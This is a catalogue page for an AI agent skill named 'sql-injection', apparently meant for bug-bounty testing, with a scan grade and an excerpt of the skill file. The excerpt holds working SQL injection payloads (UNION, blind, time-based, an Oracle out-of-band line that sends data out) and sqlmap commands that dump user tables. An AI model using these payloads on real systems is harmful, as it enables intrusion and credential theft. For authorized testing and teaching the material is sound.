Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SecurityTalent/bugskill-ai --skill sql-injectiongit clone --depth 1 https://github.com/SecurityTalent/bugskill-aiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/securitytalent/bugskill-ai/sql-injection)<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/sql-injection"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/sql-injection/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/sql-injection"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/sql-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00103 | $0.01714 |
| Opus 5.5 | $0.00041 | $0.00686 |
| Sonnet 5.5 | $0.00021 | $0.00343 |
| Haiku 4.5 | $0.00010 | $0.00171 |
Grade A, and why
sql-injection scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
compatibility: Designed for Claude Code. Requires curl, sqlmap (optional), Burp Suite or OWASP ZAP. How it starts
The opening of the file, as written. The whole thing — 121 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SQL Injection
What Is Broken and Why
SQL injection arises when applications build SQL queries by concatenating user-controlled strings without parameterization or proper escaping. An attacker who controls part of the query can change its semantics — bypassing authentication, extracting data via UNION or blind techniques, writing files, or executing operating-system commands through database-specific features (xp_cmdshell, UTL_HTTP). The root cause is treating data as code.
Key Signals
- Single quote
'or semicolon;in a parameter returns a database error or anomalous response AND 1=1returns normal content;AND 1=2returns empty/different content- Error messages referencing MySQL, ORA-, MSSQL, PostgreSQL syntax
ORDER BY N--incrementing until an error reveals column count- Delayed response to
SLEEP(5)orWAITFOR DELAY '0:0:5' - Application encodes or strips
'but not--or/**/
Methodology
- Enumerate all input vectors: GET/POST parameters, cookie values, HTTP headers (User-Agent, Referer, X-Forwarded-For).
- Submit
',",;,--,/* */individually and observe response differences (errors, blank pages, changed content). - Confirm with boolean pair: append
AND 1=1--(true) vsAND 1=2--(false). - Determine column count with
ORDER BY 1--, incrementing until error. - Find injectable columns with
UNION SELECT null,null,...--substitutingnullwith1or'a'to locate string columns. - Extract data:
UNION SELECT table_name,null FROM information_schema.tables-- - For blind (no output): use ASCII/SUBSTRING boolean loop or time-delay payloads.
- For error-based (Oracle): use
UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL)). - Test stacked queries where supported:
; INSERT INTO .... - Escalate to OS interaction if database user has sufficient privileges.
Payloads & Tools
# Boolean detection
TARGET/page?id=1 AND 1=1--
TARGET/page?id=1 AND 1=2--
# Column count
TARGET/page?id=10 ORDER BY 5--
# UNION extraction (3-column example)
TARGET/page?id=99999 UNION SELECT 1,version(),3--
TARGET/page?id=99999 UNION SELECT 1,table_name,3 FROM information_schema.tables LIMIT 1--
# Boolean blind character extraction
TARGET/page?id=1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>64--
# Time-based blind (MySQL)
TARGET/page?id=1 AND IF(1=1,SLEEP(5),0)--
# Time-based blind (MSSQL)
TARGET/page?id=1; WAITFOR DELAY '0:0:5'--
# Error-based (Oracle)
TARGET/page?id=10||UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))--
# Out-of-band (Oracle)
TARGET/page?id=10||UTL_HTTP.REQUEST('VICTIM:80'||(SELECT user FROM DUAL))--
# sqlmap automation
sqlmap -u "TARGET/page?id=1" --dbs --batch
sqlmap -u "TARGET/page?id=1" -D dbname --tables --batch
sqlmap -u "TARGET/page?id=1" -D dbname -T users --dump --batch
sqlmap -u "TARGET/page?id=1" --data="user=foo&pass=bar" --level=3 --risk=2
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 20d ago First seen · 121 lines · 103 tokens per session scan A db81802d4808
sql-injection is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 103 tokens to every session and 1,714 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-27.
Other skills, from other repositories
database-architect
Reviews database schemas, relationships, indexes, constraints, and data modeling decisions. Use when designing a new schema or reviewing an existing one for correctness and scalability.
cqrs-event-sourcing-designer
Designs Command Query Responsibility Segregation (CQRS) and Event Sourcing models with projection rebuilders.
multi-tenant-data-partitioner
Architects database multi-tenancy models (Shared DB/Schema vs Separate Schema vs Separate Database) and tenant routing.
zero-downtime-migration-planner
Plans blue-green rollouts, canary deployments, and expand-and-contract schema migrations with zero downtime.
cache-strategy-planner
Designs multi-tier caching architectures (CDN, Redis, memory), invalidation policies, and stampede mitigations.
sql-query-optimizer
Analyzes SQL queries, execution plans, index usage, and lock contention to optimize database operations.